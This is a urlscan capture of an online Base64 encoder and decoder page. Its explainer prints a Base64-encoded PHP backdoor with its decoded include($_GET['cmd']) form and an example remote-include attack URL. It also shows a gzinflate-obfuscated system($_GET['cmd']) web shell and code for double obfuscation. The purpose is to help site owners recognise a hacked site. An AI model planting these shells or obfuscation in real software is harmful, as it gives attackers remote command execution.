www.base64online.com
Open in
urlscan Pro
2001:470:1f15:517::1
Public Scan
URL:
http://www.base64online.com/
Submission: On December 21 via manual from IT — Scanned from NL
Submission: On December 21 via manual from IT — Scanned from NL
Form analysis 2 forms found in the DOM
Name: fname — POST
<form action="" method="POST" name="fname">
<textarea cols="96" rows="19" name="code"></textarea><br>
<div align="center">
<script type="text/javascript">
<!--
google_ad_client = "ca-pub-6516477247774838";
/* Base64 links */
google_ad_slot = "0348135972";
google_ad_width = 728;
google_ad_height = 15;
//
-->
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<div id="aswift_1_host" style="border:none;margin:0;padding:0;position:relative;visibility:visible;background-color:transparent;display:inline-block;width:728px;height:15px;" data-ad-slot="0348135972" tabindex="0" title="Advertisement"
aria-label="Advertisement" data-ad-status="unfilled"><iframe id="aswift_1" name="aswift_1" style="left:0;position:absolute;top:0;border:0;width:728px;height:15px;"
sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" width="728" height="15" frameborder="0" marginwidth="0" marginheight="0" vspace="0" hspace="0"
allowtransparency="true" scrolling="no"
src="https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6516477247774838&output=html&h=15&slotname=0348135972&adk=4033536442&adf=27863032&pi=t.ma~as.0348135972&w=728&lmt=1671641324&url=http%3A%2F%2Fwww.base64online.com%2F&wgl=1&dt=1671641323655&bpp=10&bdt=529&idt=413&shv=r20221207&mjsv=m202212010101&ptt=5&saldr=sa&abxe=1&prev_slotnames=8303727338&correlator=7527344370428&frm=20&pv=1&ga_vid=1974923314.1671641324&ga_sid=1671641324&ga_hid=462624120&ga_fc=1&ga_wpids=UA-11071770-5&u_tz=0&u_his=2&u_h=1200&u_w=1600&u_ah=1200&u_aw=1600&u_cd=24&u_sd=1&adx=436&ady=1148&biw=1600&bih=1200&scr_x=0&scr_y=0&eid=44759876%2C44759927%2C44759837%2C44777876%2C31071167%2C44780792&oid=2&pvsid=4100593335212402&tmod=2078766261&uas=0&nvt=1&eae=0&fc=640&brdim=0%2C0%2C0%2C0%2C1600%2C0%2C1600%2C1200%2C1600%2C1200&vis=1&rsz=o%7C%7CeE%7C&abl=CS&pfx=0&fu=0&bc=23&ifi=2&uci=a!2&fsb=1&xpc=RQtcCS2eIo&p=http%3A//www.base64online.com&dtd=416"
data-google-container-id="a!2" data-load-complete="true"></iframe></div><br>
<input type="submit" class="submit" name="base64e" value="Base64 Encode">
<input type="submit" class="submit" name="base64d" value="Base64 Decode">
</div>
</form>Name: gzin — POST
<form action="" method="POST" name="gzin">
<div align="center">
<strong>Decode Base64 gzinflate.</strong>
<textarea cols="96" rows="19" name="gzin"></textarea>
</div><br>
<div align="center">
<input type="submit" class="submit" name="" value="Decode gzinflate">
</div>
</form>Text Content
Base64 decode | Decimal to binary | Hexadecimal converter | Hash generator |
Colored QR Code
Cisco password cracker | Base64 to image | MAC address database| Online Device
Explorer
Decode gzinflate base64 | IP Address | TCP-UDP Port check | Cisco docs
BASE64 DECODER - ENCODER.
This base64 online decoder tool allows you to encode the text to ASCII
characters and decode Base64 online. Base64 decode / encode most commonly used
in e-mail protocols to transfer binary data such as files and pictures. Also
spammers and hackers make use of base64 decode option to hide the content of
their scripts or messages from simple antispam or antivirus programs, filters or
from people eyes.
To encode or decode base64 online, just paste your string in the textarea.
If you need to decode eval(gzinflate(base64_decode, please scroll down this page
and use gzinflate decoder.
Base64 decode | encode
HOW BASE64 ENCODING WORKS?
BASE64 ENCODE EXAMPLE A.
× Let's begin with a string "Base64"
Base64
× Hexadecimal representation:
426173653634
× Binary representation: Binary converter
010000100110000101110011011001010011011000110100
× Now we need to split the result in groups of 6 bits.
010000100110000101110011011001010011011000110100
× Next, convert the groups of 6 bits into decimal representation.
163855125192452
× Now we can use the base64 encoding table to convert the decimal values
into base64 equivalent.
QmFzZTY0
BASE64 ENCODE EXAMPLE B.
× We will split the string "Base64" into two smaller strings: "Ba" and "se64"
and encode it into Base64.
So, we have:
Ba
× Hexadecimal representation:
4261
× Binary representation:
0100001001100001
× We can split it in two groups of 6 bits. But the last group is only 4 bits
long,
so we need to add two extra bits of '0' and remember it by putting a '=' at the
end.
010000100110000100
× In decimal:
16384
× Base64 encoded equivalent:
QmE=
BASE64 ENCODE EXAMPLE C.
se64
× Hexadecimal representation:
73653634
× Binary representation:
01110011011001010011011000110100
× Splitted in groups of 6 bits. The last group contains only two bits.
Because of this we need to add four extra bits of '0' and put two '=' at the
end.
011100110110010100110110001101000000
× Base64 encoded string will be:
c2U2NA==
BASE64 ENCODING TABLE.
EVAL BASE64_DECODE.
Eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImNtZCJdKSlpbmNsdWRlICRfR0VUWyJjbWQiXTs="));
What it means? If you found something like this in the code of your website,
most probably your site is hacked. This is a kind of backdoor in your site.
Decoded from Base64 it will be
if(isset($_GET["cmd"]))include $_GET["cmd"];
An attacker can execute own scripts in the content of your website. He can do it
like this
http://www.yoursite.com/index.php?cmd=http://www.somesite.com/somescript.txt
Somescript.txt can contain a code like this system("dir"); where "dir" is a
command that will be executed.
Fortunately attacker do not think about the fact that he uses method GET, so you
can see in the webserver logs what he did exactly.
If you found it in your site first of all change your passwords, check file
rights (that should be 644), newer use the same passwords for database and FTP,
bacause the database password most commonly stored in plain-text. Do not use
shared hosting, bacause if one website located on shared hosting is hacked, it
is simple to hack any other website located at same server.
DECODE EVAL GZINFLATE BASE64_DECODE.
Base64 decoder above will show something like this
+®,.IÍÕP‰ww ‰VOÎMQÕ´�
when you try to decode this php web shell
<?php
eval(gzinflate(base64_decode('K64sLknN1VCJd3cNiVZPzk1Rj9W0BgA=')));
?>
It's so, because this code was first compressed using gzdeflate and compressed
data was encoded into base64. The script above will decode, decompress an
execute obfuscated part of code.
Example below illustrate that kind of code obfuscation:
$ob='system($_GET[\'cmd\']);';
// Original // system($_GET['cmd']);
$gzcompressed = base64_encode(gzdeflate($ob));
// Obfuscated // K64sLknN1VCJd3cNiVZPzk1Rj9W0BgA=
$gzcompressed1 = base64_encode(gzdeflate($gzcompressed));
// Obfuscated two times // 8zYzKfbJzvMzDHP2SjFO9ssMiwqoyjYMyrIMN3BKd7QFAA==
$decompressed1 = gzinflate(base64_decode($gzcompressed1));
// Deobfuscated one time // K64sLknN1VCJd3cNiVZPzk1Rj9W0BgA=
$decompressed = gzinflate(base64_decode($decompressed1));
// Deobfuscated two times // system($_GET[\'cmd\']);
To decode gzinflate base64_decode construction automatically, paste your code
below included php tags.
Decode Base64 gzinflate.
BASE64 TOOLS:
Base64 decoder - encoder. How base64 encoding works.
Gzinflate decode. Decode eval gzinflate encoding.
Image to base64, image from base64. Image base64 encoder. Image base64 decode.
Decimal to binary, binary to decimal. Convert decimal to binary, binary to
decimal.
Hexadecimal converter. Convert decimal to hexadecimal, binary, octal.
Hash generator. Generate MD5, SHA1, SHA256 and other hashes.
Colored QR code generator.
Cisco password cracker. Decrypt Cisco 7 and Cisco VPN passwords.
MAC address lookup. Mac address database. MAC address range lookup.
MD5 hash decryptor. Crack MD5 passwords.
IP address whois lookup. Information about an ip address.
IP address range lookup. Find ISP ip address ranges.
TCP - UDP port checker. Check if port is open.
Google
Online decode encode tools:
Base64 decode | Decimal to binary | Hexadecimal converter | Hash generator | QR
Code
Cisco password cracker | Base64 to image | MAC address database | Online Device
Explorer
Decode gzinflate base64 | IP Address | TCP-UDP Port check | Books | Hashes
About us Contact Contact via Facebook © 2011-2013 Base64 online
ShareThis Copy and Paste